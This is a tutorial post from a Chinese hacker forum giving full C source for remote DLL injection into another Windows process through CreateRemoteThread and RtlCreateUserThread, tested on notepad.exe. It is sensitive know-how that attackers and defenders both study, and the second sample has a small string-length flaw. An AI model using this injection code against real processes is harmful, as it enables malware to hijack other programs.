• Welcome to the world's largest Chinese hacker forum

    Welcome to the world's largest Chinese hacker forum, our forum registration is open! You can now register for technical communication with us, this is a free and open to the world of the BBS, we founded the purpose for the study of network security, please don't release business of black/grey, or on the BBS posts, to seek help hacker if violations, we will permanently frozen your IP and account, thank you for your cooperation. Hacker attack and defense cracking or network Security

    business please click here: Creation Security  From CNHACKTEAM

远程DLL注入执行教程


This Wind

Recommended Posts

太久没更新,都忘了写了。最近研究了一下远程DLL注入
做个笔记

CreateRemoteThread远程线程调用

原理:

* 读取目标要注入dll的进程句柄
* 计算存储DLL路径所需要的字节数
* 为远程进程分配一个内存以存储DLL路径名称
* 复制DLL路径到远程进程
* 获取LoadLibraryW在Kernel32.dll中的地址
* 创建远程调用LoadLibraryW(在远程地址空间中)加载DLL
* 等待远程线程结束(卸载DLL)
#include "stdafx.h"
#include <Windows.h>
int main(int argc,char *argv[])
{
        DWORD dwDesiredAccess= PROCESS_QUERY_INFORMATION | PROCESS_CREATE_THREAD |  PROCESS_VM_OPERATION | PROCESS_VM_WRITE;
        BOOL bInheritHandle=0;
        DWORD dwProcessId;
        PCWSTR dllPath = TEXT("C:\\testdll.dll"); //设置DLLL路径
        int dlllen = lstrlen(dllPath);
        int dllbytes = dlllen * 2; //计算dll路径长度
        if (argc == 2) {
               dwProcessId = atoi(argv[1]);
        }
        else {
               printf("Example:test.exe <process_id>\n");
               exit(1);
        }
        HANDLE process=OpenProcess(dwDesiredAccess,bInheritHandle,dwProcessId); //读取进程获取句柄
        if (process==0){
               printf("[-] OpenProcess failure,Error code:%d\n",GetLastError());
               exit(1);
        }
        else {
               printf("[*] OpenProcess Sucess\n");
        }
        LPVOID vallex = VirtualAllocEx(process, 0, dllbytes, MEM_COMMIT, PAGE_READWRITE); //给远程地址分配一个可以放下dll路径的内存空间
        if (vallex == 0) {
               printf("[-] VirtualAllocEx failure,Error Code:%d\n",GetLastError());
               exit(1);
        }
        else {
               printf("[*] VirtualAllocEx Sucess\n");
        }
        if (!WriteProcessMemory(process, vallex, dllPath, dllbytes, 0)) { //远程内存写入
               printf("[-] WriteProcessMemory failure,Error Code:%d\n", GetLastError());
               exit(1);
        }
        else {
               printf("[*] WriteProcessMemory Sucess\n");
        }
        FARPROC moduleaddress = GetProcAddress(GetModuleHandle(TEXT("Kernel32")),  "LoadLibraryW"); //获取Kernel32.dll里面LoadLibraryW函数地址
        if (moduleaddress == 0) {
               printf("[-] GetProcAddress failure,Error Code:%d\n", GetLastError());
               exit(1);
        }
        else {
               printf("[*] GetProcAddress Sucess\n");
        }
        HANDLE createthread_ = CreateRemoteThread(process, 0, 0,  LPTHREAD_START_ROUTINE(moduleaddress), vallex, 0, 0); //在远程进程调用dll
        if (createthread_ == 0) {
               printf("[-] createthread failure,Error Code:%d\n", GetLastError());
               exit(1);
        }
        else {
               printf("[*] CreateRemoteThread Sucess\n");
               WaitForSingleObject(createthread_, INFINITE); //等待线程创建结束(卸载DLL)
        }
        return 0;
}
wBJ526.png

注入测试
wBJ7rD.png

RtlCreateUserThread DLL远程注入

RtlCreateUserThread是CreateRemoteThread的底层实现,所以使用RtlCreateUserThread的原理是和使用CreateRemoteThread的原理是一样的,这个函数可以实现跨会话创建线程。唯一的问题就是:当我们在Vista 之前的操作系统调用此函数所创建的线程并没有通知给csrss 进程,它没有完整的初始化,在调用一些网络或者其它的系统函数的时候他可能返回失败,而通过CreateRemoteThread 创建的线程没有任何问题,在Vista+的操作系统上调用此函数也没有问题。因此我们需要判断系统版本,当目标系统为Vista-的时候,我们应该通过RtlCreateUserThread创建一个挂起的线程,然后调用CsrClientCallServer通知csrss 这个线程的创建,然后csrss 做相应的记录及初始化工作之后,我们再恢复线程的执行。最后,我们新创建的线程必须自己调用ExitThread退出,否则也会产生崩溃的情况。

原理:

* 读取目标要注入dll的进程句柄
* 计算存储DLL路径所需要的字节数
* 为远程进程分配一个内存以存储DLL路径名称
* 复制DLL路径到远程进程
* 获取LoadLibraryW在Kernel32.dll中的地址
* 创建远程调用LoadLibraryW(在远程地址空间中)加载DLL
* 在卸载的时候会此DLL
#include "stdafx.h"
#include <Windows.h>
#include <tlhelp32.h>
typedef DWORD(WINAPI * pRtlCreateUserThread)(
        HANDLE      ProcessHandle,
        PSECURITY_DESCRIPTOR  SecurityDescriptor,
        BOOL      CreateSuspended,
        ULONG     StackZeroBits,
        PULONG     StackReserved,
        PULONG     StackCommit,
        LPVOID     StartAddress,
        LPVOID     StartParameter,
        HANDLE      ThreadHandle,
        LPVOID     ClientID
        );
DWORD findbyname(WCHAR *name) {
        HANDLE p;
        PROCESSENTRY32W p2;
        p = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
        p2.dwSize = sizeof(PROCESSENTRY32);
        printf("Proces Listlen:%d\n", p2.dwSize);
        BOOL besult = Process32FirstW(p, &p2);
        int calc = 0;
        while (besult!=FALSE) {
               int pid = p2.th32ProcessID;
               WCHAR *processname = p2.szExeFile;
               if (wcscmp(processname, name) == 0) {
                       printf("%d ", pid);
                       wprintf(processname);
                       printf("\n");
                       return pid;
               }
               besult=Process32NextW(p,&p2);
               calc++;
        }
        return 0;
}
void Errorcode() {
        printf(",Error Code:%d\n", GetLastError());
        exit(1);
}
DWORD dllinject(LPCSTR dll,int pid) {
        HANDLE h;
        h = OpenProcess(PROCESS_ALL_ACCESS, 0, pid);
        if (h == 0) {
               printf("[-] OpenProcess failure");
               Errorcode();
        }
        printf("[*] OpenProcess Sucess\n");
        LPVOID moduleaddress =  (LPVOID)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")),"LoadLibraryA");
        if (moduleaddress == 0) {
               printf("[-] GetProcAddress LoadLibraryW failure");
               Errorcode();
        }
        printf("[*] GetProcAddress LoadLibraryW Address Sucess,Address=0x%x\n",  moduleaddress);
        pRtlCreateUserThread RtlCreateUserThread = NULL;
        RtlCreateUserThread =  (pRtlCreateUserThread)GetProcAddress(GetModuleHandle(TEXT("ntdll.dll")),  "RtlCreateUserThread");
        if (RtlCreateUserThread == 0) {
               printf("[-] GetProcAddress RtlCreateUserThread failure");
               Errorcode();
        }
        printf("[*] GetProcAddress RtlCreateUserThread Address Sucess,Address=0x%x\n",  RtlCreateUserThread);
        //DWORD dwSize = (strlen(dll) + 1) * sizeof(char);
        SIZE_T dwSize = strlen(dll);
        LPVOID vt = VirtualAllocEx(h,0, dwSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
        if (vt == 0) {
               printf("[-] VirtualAllocEx failure");
               Errorcode();
        }
        printf("[*] VirtualAllocEx Sucess,Address=0x%x\n", vt);
        BOOL dlladdress = WriteProcessMemory(h, vt, dll, dwSize, 0);
        if (dlladdress == 0) {
               printf("[-] WriteProcessMemory failure");
               Errorcode();
        }
        printf("[*] WriteProcessMemory Sucess\n");
        HANDLE hRemoteThread = NULL;
         RtlCreateUserThread(h, NULL, 0, 0, 0, 0, moduleaddress, vt,&hRemoteThread, NULL);
        printf("%d\n", GetLastError());
        if (hRemoteThread ==0) {
               printf("[-] RtlCreateUserThread failure");
               Errorcode();
               return 1;
        }
        printf("[*] RtlCreateUserThread Sucess\n");
        printf("[+] Dll Inject Sucess\n");
        return 0;
}
int main()
{
        WCHAR *processname = TEXT("notepad.exe");
        LPCSTR dllpath = "C:\\Users\\JiuShi\\Desktop\\ABC.dll";
        printf("DLL PATH:");
        printf("\n");
        int pid=findbyname(processname);
        dllinject(dllpath, pid);
        system("pause");
    return 0;
}

wBYpM8.png

 

原文链接:https://422926799.github.io/posts/7c405794.html

Link to comment
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now